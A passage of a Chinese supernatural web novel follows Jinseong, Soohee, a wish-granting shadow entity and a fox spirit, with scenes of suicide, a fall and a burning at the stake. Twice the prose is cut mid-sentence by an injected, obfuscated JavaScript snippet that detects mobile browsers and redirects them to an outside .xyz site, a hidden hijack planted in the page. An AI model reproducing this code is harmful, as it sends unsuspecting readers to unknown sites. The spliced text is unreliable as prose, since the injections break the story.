至于是伪神还是真神，是善是恶，就说不清楚了。 她将手指轻轻按在珍星的脸上，下一秒就被珍星张嘴一口咬下。 抱着咬碎的决心狠狠下口，最后呈现出来的结果却完全相反，黑影的手指太过坚硬，珍星的狠厉得不到回报。 反而引来了嘲笑。 “珍星你还是处在换牙期的孩子吗？” “还是说，这是你姗姗来迟的口欲期。” 另一只手甚至鼓励式地摸了摸她的头。 “很可爱。”黑影称赞道。 “你、究竟要做什么？” “你对惠珠做了什么，还有素熙，你刚才操控了她的身体吗？” 珍星嘟囔着发出声音，当她想放弃通过咬对方办法来泄愤时，黑影那只温柔抚摸的手就变得强硬起来。 雨后潮湿的气息扑面而来，彰显出她本身的恐怖，如果她想让你死，这是一件特别简单的事情。 被水裹住呼吸，窒息而亡。 就这么简单。 “你的问题真的好多。” 可问题是，她不会这样对待珍星。 “其实我说过很多次了，我什么也没做，我只是去实现愿望。” 随着黑影的话出现的是惠珠本人现在正在的情况——瘦下来的她静静的躺在病床上，面色苍白但多少还有着生机。 “可是，我们并没有向你许愿。” “没有吗？” 珍星的声音顿了顿，想起了老师说过的话。 “至少，素熙没有。” “她是无辜的。” “直到现在，你心里面想到的第一位也是素熙，这实在让我很感动。” “真是动人的感情。” 黑影的声音听起来多了一丝愉悦。 “她告诉过你吧，你对我的愿望一经许出，无论如何我也会帮你实现。” “不管另一个人是生是死，不管另一个人会是谁，无论如何，我也会达成珍星口中的那句，永远在一起。” 这个理由当然在珍星的思考中，可她总觉得不应该只是这样，按照老师的话来说，这黑影多半算个古老的神。 如何要说永远在一起这个愿望有多特别，古往今来，说出这种愿望的眷侣数不胜数。 就是跟珍星当初一般大小的孩子也很有可能因为一时的喜好说出这种绝对的话。 “你忘记了呀珍星。” 黑影从她的眼中读到了这些，于是下一秒她的手从珍星的脸上猛地转移到后颈。 拽着她的头发，仿若要扯掉她的头皮，剧烈的疼痛在珍星适应之前一下子就变成了进水的混沌。 她被按在水里的过去。 湿漉漉回到老师家的那一夜，在从首尔回到釜山的那一天，淋湿她的不是雨水，而是海水。 “你不是很厉害吗？” “和那个丑八怪在一起的下场就是这样。” 原来也是一件很简单的事情。 素熙把奖杯送给了她，而她最终还了回去，可笑的是，工作人员们在一开始因为她的衣服变脏了不准她进入，后来看见她手中的奖杯，就轻而易举地放行了。 还是同一个人，却能得到不同的待遇。 进入大厅走到前台去交还时，无意中和几个孩子对视，珍星发现那正是下午在欺负惠珠的孩子。 “偶妈，我看见朋友了。” “可以和她玩一会儿吗？” 年幼的小孩在父母面前已经可以畅通无阻地作出第二张面孔了，讨喜乖巧。 珍星被她们包围。 手挽着手，看起来十分亲人。 “亲故呀，我们去好好玩吧。” 为首的紧紧拉住她的手，几个人假装关系密切地把她带出去。 然后，重复下午对惠珠做的事情。 尽管拥有大力，但这并不是打破一切的钥匙，在五个孩子面前，打倒了一个，逃不掉仍然会被包围。 “为什么，要这样对我？” 又一次推开其中一个人的珍星崩溃大喊。 “你在做什么？” “呀！坏丫头，你在欺负我们家孩子吗？” 其中一人的家长正好看见这一幕，气冲冲地走过来，一把扯住她的衣服。 “看你不爽也要有原因吗？” 那孩子被母亲抱在怀里，当母亲的目光扫过来时可怜无辜，可一旦错开，她就无声对珍星做出了嘲讽。 “是她们欺负我。” 珍星感到委屈，可她没有选择争辩，而是将解释放在了热心的警官大叔面前。 “哦莫。”大叔微微惊讶。 在这一秒，他的心知道珍星没有骗人，可下一秒那名穿着华丽的夫人只是俯身对他说了什么。 “可你不是本地人吧。”大叔的话音突然就转变成这样。 “不管怎么说，你打人就是不对的。” “她们也打我了。” “有谁能证明，有谁能看见呢？” “那你们又怎么证明，是我打了她们呢？” 珍星突如其来的话让持续输出的大叔愣住，可她并没有占领上风。 “干嘛说这么多。” “我看你这身打扮，你原本也是要参赛的对吧，可你这样的小孩，品行不端，怎么能去参加比赛。” 夫人用一句话结束了一切。 不止这场自证，更是珍星当下的一切。 “只是比赛资格这种小事。” “像你这种乡下孩子，以后也别想再有了。” 这就是为什么往后几年素熙饱含期待地参加遍了国内举办的芭蕾比赛却再也没有见到过珍星的原因。 明明她对胜利如此渴望。 她的表演如此富有生机。 这就是为什么她会绝望地回到釜山，原来不只是因为没能参加比赛。 而是因为，她再也无法参加。 很久以后她才知道，原来这个人只是在吓自己，虽然看起来贵气，但也没到只手遮天的地步。 对方只是赌她是个无知的小孩决定吓一吓珍星，细想下来，这位女士原来是个好人。 可如果，她真的是个好人，为什么她的孩子却坏得无缘无故。 如果她真的是个好人，在她得知这个被她的谎言抹杀了人生的孩子选择死亡时，会为这个孩子流一滴泪吗？ 敢保证这滴泪不是鳄鱼的眼泪吗？ 夜晚其实并没有抵达釜山的船只，因为被抓来对峙太久，珍星走出来时已经错过了末班车。 她无法在这个夜晚赶回釜山。 她也没打算回去，她来到海边，其实是打算溺死在大海之中，海水已经包裹住她的全身。 她身体里的任何一个地方很快就会被海水腐蚀，如果无法再跳芭蕾，那就去死吧。 珍星想。 “你想要的是死亡吗？” “如果无法再跳芭蕾，就要去死吗？” 黑影的声音在那个时候出现，于是珍星安然无恙地回到了釜山。 “你救了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644450|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我？”珍星被迫重新体验了这一段记忆，但她却发现，自己原本是没有这一段记忆的。 关于那个夜晚的一切都太过模糊，太过迷幻。 “救？不要这样骂我。”黑影的声音响起。 “是交易哦。” “想死需要付出代价。”黑影用了暧昧的词汇向她解释，无需多言，珍星自然会想到代价是什么。 “是老师……” “你让老师代替我去死了！” “为什么！凭什么！” 珍星的情绪陡然激动起来。 她想要抓住黑影却无法抓住。 “是我自己想死，你为什么要害死老师。” 黑影利用烟雾形态躲过珍星的爆发，又见缝插针地在她身上绕来绕去，继续说着刺激人的话。 “是我害死的吗？” “如果不是你想死的话，就不会有这个交易了。” 言语之间，尽是暗示。 害死老师的人，一直都是你。 “不仅如此吧，我当时问你的是两个问题。” “你——” 珍星的声音尖锐起来，黑影还要对她身边的人下手。 “不能再跳芭蕾的话，就去死好了。” 珍星看见了医院，病房里情绪极不稳定的少女捶着轮椅，又捶向自己毫无知觉的双腿。 她本人是很美的，平日里是明媚的美，可现在却透着一种即将枯萎的美。 她对着身边的女人如此大吼。 “这是什么？” “素熙，素熙为什么会这样？” 珍星无法冷静了，她开始疯狂追问黑影，却再得不到对方的任何反应。 眼前的素熙试图通过砸烂身边所有能够到的东西来泄愤，却于事无补。 她的内心没有任何的安慰，绝望逐渐蔓延至她的全身，就在这个时候，珍星出现了。 她提着那把红伞，她抱着一束花。 上面写着“祝贺比赛第一”，是一束庆功花，而不是用来看望素熙的。 她动了动唇原本想说什么，却看见素熙盯着手中的花，这是代表的花，突然变得很烫手。 可就算会将她的手烫出一层水泡，她也无法放弃，于是她什么也没说。 她决定转身离开，她想，今天并不是一个好的时候，明天吧，明天她会说清楚。 这不属于珍星的记忆，被黑影带过来的珍星眼睁睁看着这一幕发生，她什么也做不了。 而她仍然能感觉到凝重的不安。 “不、不该是这样的。”她说。 下个瞬间，她听见了素熙的自白。 “珍星，也抛弃我了么。” “我不能再跳舞了，我无法再和珍星一起。” 素熙推着轮椅一点点划到窗边，用力打开了那扇窗户，房间外面是好重好痛的大雨倾盆。 素熙伸出头就能看见淋着雨离开的珍星。 “啊……我甚至没有办法为她送伞遮雨。” “不是的。” “不是这样的。” 珍星十分急切地在素熙面前说话。 可一句也听不到，对于素熙而言，现在这个珍星是不存在的。 而珍星似乎已经预感到素熙将要做什么了。 她疯狂地说着不要。 “不要素熙。” “不要对我这样。” 她挡不住，而黑影出现在她背后，抱住她，拦着她试图阻止素熙的动作。 黑影轻飘飘的话和素熙趴在窗台上下定决心的话重合在一起。 “不能跳舞的话，就去死好了。” “没有珍星的话，就去死好了。” “不要啊——” 珍星叫喊着，像一个疯子，她没有死，可她已经被折磨得痛不欲生。 只有黑影看见她这丑态百出的现状。 “现在，交换成立。” “去死吧，珍星。” 黑影将珍星也推下窗。 空中沙挲下两片枯叶。 珍星抓住了素熙，只是，枯叶是如此易碎，她觉得五脏六腑都在落地的一瞬间消失了。 她不知道素熙此刻到底能不能看见自己。 但她仍说：“我不要。” “我不要这样的交换。” “我不要死。” 黑影站在不远处的树下，她的身影又清晰又模糊，但珍星是还没有死的。 因为黑影不会让她死。 一切仍然没有结束，黑影朝她走过来。 每走一步，身上的雾气就减淡一些。 等她走到奄奄一息的珍星面前，蹲下来时露出一张极为熟悉的脸。 “素熙……” 珍星含着一口血低低地叫出她的名字。 她此时已经没办法分辨什么了，心中唯一的想法是喜悦，素熙没有死。 可是—— “珍星，你害死了我。” “你把我害的好苦啊——” 女鬼式呼唤人的声音从前听起来只是一句玩笑，现在却真的令人毛骨悚然。 而对珍星而言，眼前的素熙并不恐怖。 恐怖的是，她嘴里的话。 “是我害了你。” “对不起，对不起……” 她无力，什么也做不到，只能喃喃重复。 “你看，你也会说这样的话呀珍星。” “你也没什么特别的。” 黑影又变成了惠珠的样子，抱起了痛苦却被迫清醒的珍星。 “你明明和我一样，只会说对不起。” “我们才是同类。” 她被抱着一路向前走，四周暗暗的，珍星就一直听着她的絮叨。 “我并不是一定要和你成为朋友。” “可为什么只有素熙可以呢？” “我也很喜欢素熙，所以，只要我能成为素熙，你也可以成为我的朋友吧。” “可明明，你也没有多喜欢素熙吧。” “没关系，你喜欢谁，我就变成谁的样子，好不好？” 惠珠的面容又在这一句话之后变回了黑雾。 “你看了这么多，现在，是不是该成为我试试看了呢？” 黑影抱着她一直走到海边。 天快亮了，她将珍星放在了最靠海岸的沙滩边，涨潮的海水一下又一下冲在她那些伤口上。 “死亡不是终点。” “我的终点是你。” 黑影低声笑起来。 “你不是总在问我是谁吗？” 其实珍星已经不关心这个问题了，不仅是这个问题，她如今的精神意志，什么都管不了。 尽管这样，她还是清楚地听见了。 小女孩脆生生稚嫩的声音。 “妈妈，海边，海边有一个人。” 珍星撑开眼皮，看见了被女人抱着的小孩。 女人说：“珍星乖，不要乱跑，会有其他叔叔去帮忙的。” 40. 妈妈 第一天来到海岛的素熙曾经问过珍星一个再普通不过的问题。 “珍星，我们中午吃饭不用等叔叔回来吗？” 母亲早早卖完鱼回来，只为对珍星的朋友好生招待，做了满满一大桌子菜。 其乐融融的气氛却因为素熙这句礼貌提问变得僵硬起来。 “我是不是说错话了？” “阿尼哟，没有的事。” “珍星的爸爸这几天都在跟着船队去海上捕鱼，要一段时间才会回来呢。” 最终是妈妈给出了回答，而珍星只是默默吃着饭，偶尔为素熙夹一些菜。 她对母亲口中那个为了全家人生计总是在外奔波的父亲毫不在意。 也对母亲口吻之间的感动和思念视而不见。 她只是说：“吃饭吧，我们。” 因为珍星的反应，素熙觉得有些奇怪，可她看得出来，这似乎不是自己该问的问题。 这样的疑问在饭后被偷偷找到素熙的珍星妈妈给出了答案。 “因为她爸爸总是在海上这件事情，wuli珍星几乎没见过他爸爸几面，所以感到很陌生。” “不过，我们一直都希望我们珍星能够幸福地长大，无论是她爸爸还是我，都很爱她。” “我现在更高兴的是，珍星能交到你这样好的朋友，这样她就不会再孤单了。” 珍星妈妈叹了一口气，不用多说，素熙也能想到，常常不在家的父亲和忙碌于摊子的母亲，小小的珍星原来和她有着一样的童年。 比起珍星所不喜欢的怜悯和心疼，素熙反而觉得这是她们之间的缘分。 命运注定让我们相遇，对吧。 素熙会在夜晚仔细地去看熟睡的珍星，其实天黑了，眼睛里根本看不清楚什么。 可她还是会去看，仿佛通过这种方式，珍星就会永远留在她的眼睛里。 这件事情很快就从素熙心中失去颜色，因为被附身这件事和珍星的关系再次变得亲密起来时，素熙察觉到了不对劲的地方。 其实也无需察觉，因为古怪随处可见。 “这是.....”素熙在珍星的柜子里看见了黑白相片，并不是因为技术落后的才只能做成黑白的相片，而是代表着不幸的遗照。 素熙不知道怎么回事，但感到抱歉，正当她要向珍星道歉之前，珍星只是拿过照片。 面容平静，风轻云淡地回答：“这没什么。其实谁都知道，我的父亲早就死在了海上。” 可是，珍星的妈妈不是一直在说父亲只是去海上挣钱了。 那种熟稔的口吻，仿佛亲眼所见又或是因为印象太过深刻。 “这个吗，因为妈妈是疯子。” 珍星提着嘴唇微笑起来，在那一瞬间，素熙被一种心痛笼罩。 她本该疑惑，却情不自禁地拥抱住珍星。 “不要用这样的眼神看我，好吗素熙？” “妈妈是疯子，可她很爱我，这就足够了。” “其实阿姨是一个很好的人，她也许只是太爱你的父亲了。” 素熙没能说出口的一句话是她有些羡慕，羡慕这样的深情。 情深不寿，该这样解读吗？ “素熙......”珍星那时的欲言又止，在隐藏着一个无法解脱的秘密。 这是一个珍星无从说起的故事，但现在黑影却拉着她重新进入回忆。 “我是谁，珍星你应该是最清楚的，才对呀。” 黑影在今夜抽丝剥茧。抽掉珍星的感情真丝，剥掉珍星那层理智皮相。 “你忘记了吗？” “我是谁？” 珍星变成了那个在海边被救上来的女人，那个，疯女人。 村子里的人都说她不详。 珍星的父亲表现得尤为激烈。 “是恶鬼。” “她一定就是传说里的恶鬼。” 第一天，村子里的狗见到她狂吠不止。 第二天，田里的鼠到处乱窜。 在那个女人出现的第三天，全村养的鸡都死光了。 “我们不该救她上岸的，她是不祥。” 村长一锤定音，并在珍星父亲的主动提议下，带头联合全村人烧死了那个女人。 “我不是……” 珍星变成了这疯女人，被过去的烈火焚烧。 离得近的小孩听见了她的话。 可那时火已经烧到了她的头发。 “我不是，不详。” 她的声音逐渐消失，正如她死后村里那条再也无法被引渡的沟渠。 “救救我。” 珍星仿佛真的体验了一回死，大火旺盛时，她最开始会有痛觉。 皮肤被一点一点烧焦的时候，痛觉神经发出了极为强烈的反应。 但最后是不痛的，因为所有能够反应的神经已经被烧坏了。 这是黑影的生前，也许她真的如村人所说，是个恶鬼。 “可是，我原本只是一个人，对吧？”黑影在大家都散开之后，抱起了重复她短暂人生的珍星，她已经痛得晕过去，并不知道黑影用一种爱怜的姿态将她抱起来。 如果珍星此刻能睁开眼睛看一眼，就会发现，黑影的确一直都在她的身边。 在亲近，太过亲近的距离里。 如果真的有恶鬼，那也是人造出来的。 而一开始的不详，只不过是不对付的几家人之间的报复，一开始只不过是单纯的人祸。 而在黑影死后的第七天，村子才真正出现了不详。 作出决定的村长在山里迷了路，等家人找到他时，除了熟悉的衣物，只剩一堆骨头。 “也许不是他呢，也许只是穿着相似的人遇害了。” 被捡回去的尸骨还没等到官方人员到来就化成了灰烬，彻底无从查验。 于是他们只能说：“只是失踪了，还会回来的。” 可村子里更加纷纷扬扬的说法是“那女人回来了。” “头七回魂夜，她第一个索命的就是村长。” “是你们害死了她，她回来找你们报复了。” 珍星一家并不相信这个传闻，尤其是珍星的父亲。 “烈火能净化一切邪恶。”父亲在夜里一遍又一遍地念叨。 如果不坚定这份意志的话，下一个会被疯女人报复的人，毋庸置疑，会是他。 可是小小的珍星在另一个房间将头紧紧塞在被子里，似乎很害怕。 有什么东西找上她了，又或者，她做了一个噩梦。 总之，当这个传闻在村子里传开之后，突然有一天珍星的父亲拉着她的母亲一起去海上捕鱼。 据说是一个大项目。 可是最后，回来的人只有珍星的母亲。 “偶妈，阿爸呢？” “阿爸呀，只是失踪了。那天海上的风太大，爸爸妈妈被风吹进水里。” “但是爸爸肯定会没事的，你看妈妈我不是就从海边游回来了吗？” “珍胜和妈妈一起等着爸爸，好吗？” 妈妈摸着小珍星的脸，她微笑着，表现得很坚强，可这又招来背后的议论。 “表现得像个没事人，说不定她老公就是她害死的。” “对呀对呀，要真是海难，她家男的都挺不过去，她怎么挺过去的？” 于是后来，珍星的母亲成了疯子。 一个总在念叨着她的丈夫没死的疯子。 偶尔，珍星的母亲会突然清醒，可这也不会让珍星感到多高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644451|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴。 因为清醒时，她的母亲也只会抱着自己，在那窒息般的拥抱中一次次对自己说：“对不起、对不起......” 甚至有一次，她想要带着珍星去死。 “对不起珍胜，对不起，可是妈妈不能再让一切继续下去。” 差点杀掉珍星之后，她的母亲再也没有过所谓的清醒。 无论清不清醒，那段时间的母亲，是扭曲的。 也正是在那个时候，舞蹈老师来到了小岛上。 “怎么一个人在这里，要不要去我家玩？” “我请你吃糖。” 老师像个骗子出现，手里拿着五颜六色的糖果。 如果有爸爸妈妈好好教育的孩子自然是不会被她骗的，可惜，珍星没有。 九岁那年，她是最野的孩子，完全没有一年前的影子。 但她依旧喜爱跳舞，唯有这个时候，她的母亲会安静下来，什么也不说。 只静静地看自己跳舞，然后会像从前一样夸奖自己。 “真棒呐，wuli珍胜。” 让老师成为自己的老师，一开始是因为珍星总往她家里跑。 也许是为了糖果，又也许是老师很温柔。 于是，某天开始，母亲拜托她成为自己的老师。 “珍胜很喜欢吗？”母亲问她。 只要不提及父亲，她的母亲其实对自己很好。 可是，那一天终将来临，黑影让珍星看一看这段美好的回忆。 只是为了揭晓，老师为她的牺牲。 比起珍星所痛苦的老师是因为自己被黑影害死的，更加难以忍受的是，老师是自愿而死。 “咚咚咚——”深夜的敲门声总让人有些恐惧。 因为这不是常规之中会发生的事情。 “你好？”老师打开门，看见了她的黑影。 但却没有害怕，而是用熟悉的语气同她对话。 “来接珍胜？可是她已经睡着了，孩子今天心情不好，哭得很伤心。” “要不然，让她在我这里睡一晚，明天我送她回去。” 老师同她打着商量，似乎完全没看懂她来的目的。 “你愿意为了她而死吗？” 老师对面是一张再熟悉不过的面孔，可对方平日里总是表现得很好，现在却冷着脸。 阴冷至极，以至于老师的声音都发抖起来。 “您、您在说什么啊，珍星妈妈？” “嘘。” 黑影此时的面目终于暴露，老师手里提着的一盏油灯，映出了那张老实朴素的人脸。 尽管此时，她眼里全是跃跃欲试。 “如果你不愿意，死掉的人就是她了。” “你想要对珍星做什么？” 黑影并没有将接下来的画面展示出来，但珍星能够想象，她就是在那时残忍地逼老师去死。 “为什么......你是在报复我。” “报复我们一家。” 珍星的问题变得无解。 而黑影会让她更加无解。 “忘记我的拥抱了吗？” 黑影变成母亲的样子，说着只有两个人之间记得的事情。 “那个时候，你明明很依赖我。” 你说：“妈妈，我只有你了。不要离开我。” “所以我才决定成为你的妈妈。” 黑影露出笑容，她的声音有多么温柔，带着多少诚意。 她的笑容就有多么嘲讽。 “什么时候？从什么时候开始——”珍星听懂了她的话。 很久以前，黑影就附身在了自己的母亲身上。 但黑影的回答，是更恐怖的—— “从一开始。” 41. 蝴蝶日（一） “你应该死掉了。” “这样她才会永远记住你。” 头顶的小灯将老师的脸一明一灭地照着，至于她面前那个完全隐于黑暗中的女人则是眼含笑意。 “我想一直陪着珍胜。” “她需要我。” 顶着珍星母亲那张脸，她作出轻蔑的表情，实在很违和。 可那又怎样，今夜她并不是什么母亲的角色，她是收割者。 “又想提起她立下的那个誓言了吗？” 黑影伸出自己的手，轻轻搭在这个看起来极无辜的人身上。 “比起我，你才更坏吧，哄骗她在不知情之下许下愿望的人。” “不就是你嘛。” 老师低着头仿佛被她说出的事实戳中了。 然而，她并不觉得羞愧，反而低声笑起来。 “你说我心机叵测。那你呢？” “装成好好母亲的样子，是真的想要报复这一家人吗？” 两个人都很清楚对方的狐狸面孔，知根知底的同时，还互相嘲笑着。 黑影停顿了一会儿，倒不是被老师的话激怒。 只是随着她的话短暂地回忆起来。 那个平凡的一天。 她在大海中诞生，又被海风轻轻推送到岸边，完成了她的出生仪式。 如果说刚刚具有人形的她还是一颗蒙尘的明珠，那么一眼看出她是珍珠的人。 是和她同样幼稚的孩子。 “妈妈，海边、海边有人。” 是这句话打开了她进入人类世界的大门。 尽管她并不是幼鸟，却依旧对这个第一眼看见的孩子，产生了雏鸟情节。 她是一只狐狸，一只贝壳，一颗果实...... 她是除人类这种物种之外任何的生灵，被岁月渡化，可显然，她只有人类的壳子。 第一天，懵懂的她因为什么都不懂、只会傻笑，被当做了傻子。 但她记得暂时收留她的那家人嘴边挂着的两个字。 “zengsing”她听见这样的发音。 并不清楚这是什么意思，可一天之中她总能听见这个，于是像小狗一样探头。 然后看见了那个孩子。 “妈妈，让我和这个姐姐一起玩吧。” 她被这个孩子牵着手跑出去，然后终于在落日前知道了“zengsing”代表什么。 “我来给你梳头发吧。” 她的头发乌黑亮丽，那是自然赐给她的祝福，她这一身，皆是生灵的礼物。 她是上天的宠儿。 “这是我的名字——珍——胜——” “我来教你写。” 很难想象这样一幕，小小的孩子用自己还没苹果大的手掌去试图包住一个成年女人体型下的手掌。 可珍星做到了。 因为对方很听话。 小树枝塞在她的手中，柔软可爱像小猫肉垫一样的小手带着她写下比划。 “你叫什么名字？” “知道你的名字之后，我们就是朋友了。” 小珍星笑嘻嘻地说，将树枝完全放在她的手心里。 可是她不会说话，也听不懂珍星的话。 她只记得那是一个很美丽的笑容。 这让她扯着嗓子发出呜嘘嘘的声音。 让她怎样去类比呢，在她漫长的生命中唯一能想到的例子，似乎只有这个。 【造物主创造我，将所有好的部分都放在我身上，是为了让我成为你的礼物。】 “wuxu？suxu？还是wuxi呢？” 小珍星想写出她的名字，却迟迟写不出来。 在夜晚第一颗星星升起时，她终于想到了。 她画出一颗五角星。 “星星，你叫珍星怎么样？我把名字分你一半。” “我们就是好朋友咯。” 她努力地想发出和对方一样的声音。 但作为新生儿的她并没有多强的学习能力。 “没关系。我们先回去睡觉，明天我再教你说话。” 珍星扯住她的衣角，带着她回家。 夜晚的时候，珍星的父亲回来了。 他并不是个一味严肃刻板的人，按理说在听见珍星母亲解释的理由，又发现被救回来她的确是个不太正常的人时，他并不拒绝暂时收留对方的选择。 毕竟，珍星一家的善良热情可是在村子里出了名的。 “不行，她是不祥，我们必须把她赶走。” 珍星父亲迟迟不肯说出得到这结论的理由，可以确定是有人先对他说了什么。 他彻底相信，所以才会如此决绝。 直到他压低声音地珍星母亲说出这样一句话：“如果留她下来，她会害死珍胜的。” 一直请求他的珍星母亲偃旗息鼓。 是啊，她们其实并不担心自己，可珍胜是她们唯一的孩子。 是相爱的结晶，是可以肆无忌惮灌输爱的，她们唯一的孩子。 “好吧，可是，至少让她留下一夜。” “不然，她无处可去了。” 她的体量接近于成年人，可从面容去 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珍胜的眼睛被窗外的月光照到了，她看见如同宝石一样的眼珠里的闪光。 因此学会了“星”的含义。 那一夜，全村的狗狂吠不止，更加印证了珍星父亲说的话。 她是不祥。 可误会正如她无法听懂珍胜的话，只能懵懂地理解。 如果人们也能听懂其他物种的语言。 就会知道，这些犬吠不是在驱散什么，反而是高兴和激动。 “恭喜你呀。” “你变成人类了。” “好好开启新的人生吧。” 而她嘴里发出“嗬嗬”的声音。 她在说谢谢。 第二天，她被赶出去了，她想抓住珍胜的手。 却只能眼睁睁看着珍胜被抱走，而珍胜的父亲严肃地递给她一个包袱，装了一些食物和水，以及一部分钱。 “走吧。” “你去哪都行，不要留在这里。” 她被推到门口，迷茫地看着珍胜的房间。 “嗬嗬.......” “zeng——sing——” 直到被推出很远的地方，她终于叫出了那个名字。 “珍——胜——” 她这条毛毛虫似乎开始结茧，马上就要化作蝴蝶了。 42. 蝴蝶日（二） 大部分毛毛虫在结蛹之后至少要平安无事地度过七天才会变成漂亮的蝴蝶。 造物主给她的考验亦是如此。 七天之内她无法说出像话的话，也无法真正接受人类世界的规则。 “蒙尘的珍珠，年幼的青虫，经历了这些你才会成为我最完美的作品。” 造物主如此告诉她。 看似是一种优待，可有多少个婴儿被放进大海中的结局不是溺亡而是存活的呢？ “星……星……”她指着自己。 又指着那扇窗喊着珍胜。 抽丝剥茧说得就是现在的她了，因为找到了一颗星星让她加速着成长。 可她还是死在了第七天。 差一点就能破茧成蝶，成为一个真正的人。 她被珍胜的父亲狠心地带走。 “父亲，您在做什么？” 彼时身体还算硬朗的村长背着他那个学医的儿子，拿着一幅画。 久久站立，久久端详。 “你回来了啊。” 上大学的儿子走过来，看见父亲摆在桌上的一卷画，应该是一幅古画。 上面画着一只火红狐狸，但年代太久，颜色已经褪色得接近土色。 “你看见它的尾巴了吗？”村长突然问自己的儿子，这让年轻人原本只是随意地一撇转变成正经的细细打量。 这一看，才发现了真正的古怪。 “哈哈。”村长淡淡地笑起来。 然后点出了这幅画的情况。 “一条也没有对吧。” 他将画卷起来重新放回盒子里并当着儿子的面掀开藏着机关的一处地板，将东西放了回去。 “还记得小时候我给你讲的故事吗？” “您是说九尾狐的故事？” “那个故事是说狐狸勤勤恳恳地修炼并九世为善才获得了九条尾巴，成为了人们供奉的神。” 学医的儿子说起来。 “阿尼哟。我说的不是这内容。” 村长摇头，笑眯眯地开口。 “狐狸有八条尾巴的时候就已经是通天般的存在了，可它依旧得不到一个正式的名分，无论是做妖怪还是做神仙。” “只有得到第九条尾巴才能成为狐仙。” “而只有，有人真心地说出我希望狐狸得到第九条尾巴，它才能真正圆满。” 他的儿子突然笑起来，似乎并不在乎老父亲说的这个故事。 “什么呀，爸爸你是不是把猫尾巴的故事记混了，不管怎么说，这都是讲给小孩听的故事吧。” 村长陪着他笑。 很快，他听到家门口有人在叫自己的父亲。 村长慢悠悠地去开门，一边走，一边淡然地告诉儿子：“我说过了，有八条尾巴的狐狸已经是通天般的存在，为什么不想想如何利用它呢？” “只需要一些恰到好处的方法，就能拥有一个永远的奴隶。” 村长打开院里的篱笆门。 “真是抱歉打扰您了。” “可她说什么也不肯走，只能托您想想办法了。” “我绝对不会让她伤害我女儿。” 村长点头关切地回答：“好，交给我吧。” “真是谢谢您昨天特地告诉我这些。” “原本我还有些怀疑，可昨天晚上村里的狗一直在叫，您说的没错，她真的是什么邪祟。” 村长拉住要向自己行大礼的男人，温和地说：“咱们村的都是一家人。” “不要这样。” “交给我吧。” 村长又一次重复，并用和蔼慈爱的表情去看她。 珍胜的父亲于是放心离开。 学医的儿子站在自己父亲身边，回味着两个人刚刚的对话。 “爸爸您都跟宋叔叔说了什么啊？” “我们村会有邪祟？” 他不可置信地抬手指着面前这个看起来一脸单纯的女人。 “她又是谁？” “八条尾巴的狐狸。” 村长看着儿子，露出一个意味不明的笑容。 “你明天就回学校吧，上次来信不是说学校里那些有钱人的孩子仗着自家权势让你的实习机会又没了。” “过段时间就会好了。” 他将一头雾水的儿子送出家门，丝毫不留恋地招手送别他。 “去吧。下星期就会有大医院的人给你打电话通知你去面试了。” “爸爸，你都在说什么啊？” 他觉得父亲的话说得邪乎，可村长已经背过身带着那个不明不白的女人进屋。 那女人，或者说少女，并不愿意进去。 而他被村长一早安排好的人拖着去了海港，原本将父亲的胡话抛在脑后，可一个星期后，他真的接到了一家大医院的电话。 巨大的惊喜让他高兴不已，可高兴之后反而有些惶恐，他放弃了纸笔，立即给父亲打去了电话。 不知怎地在电话迟迟没被接通的时间里，他感到很害怕，心中很有不安的感觉。 仿佛，他亲眼看见了自己父亲枉死的画面。 好在，第三次拨打电话后，电话那头传来了父亲的声音。 村长的声音虽然有些虚弱，但至少还有气。 “爸，我真的接到面试通知了。” 他分享着这个好消息，但这只是为接下来的问题接出影子。 “你上次跟我说的，是真的吗？” “真的有能实现人愿望的八尾狐狸吗？” 电话那头的村长沉默了几秒然后笑起来。 “当然没有。你不是说你早就不信这种骗小孩的故事吗？” “可是您……”年轻人有些哑然。 “您怎么知道的？”终于想起质问的理由，他重新有了底气。 却被村长轻飘飘地给出理由。 “当然是因为我托了年轻时在首尔的朋友给你找关系了。” “什么！爸爸您在首尔还有朋友？” 年轻人在那一秒幻想了很多，他竟然不知道他那个小岛上总被母亲骂什么出息的老爹还能在城市拥有一个厉害不已的朋友。 毕竟，医生这个职业古往今来都是不能被操作的，而他只缺一个被看见的机会。 “好了，好好珍惜这次机会，毕竟……” 村长的话音突然变得很轻很轻，这让年轻人没办法听到他最后说的话究竟是什么。 电话被挂断。 “毕竟，你父亲可是付出了惨痛的代价。” 村长低下头看向那副画，狐狸有了尾巴。 九条尾巴，完全符合那个寓言故事的结尾。 狐狸成了仙。 可血红的九条尾巴又代表什么呢？ 那样不详的邪恶的，仿佛真的散发出了腥味的血红，究竟代表什么呢？ “那么，交易成立。” 疯女人被烧死的第二天，年轻人打来了这通电话。 她死后的第七天，村长将展开的画卷放回地板里，诡异地说出这四个字。 在深夜独自出行，向着深山走去，走到不知道那条小径时，突然如同一滩烂肉倒在地上。 过两天，村长的尸体被发现。 身上没有任何伤痕，但最后的表情惊恐又绝望，仿佛生前遭遇了什么。 而更让亲属所不解的是，法医鉴定结果里说，村长的死亡时间并不是昨夜。 而是七天前。 “不可能。” “那天我和他通过电话的。” 赶回来的村长儿子皱着眉反驳。 经验老道的警官随口回怼。 “说不定那天就是凶手在冒充你父亲。” 但随后他被自己的想法启发，正经脸色问年轻人：“你那天和他通电话的时候，遇见什么古怪了没有？” 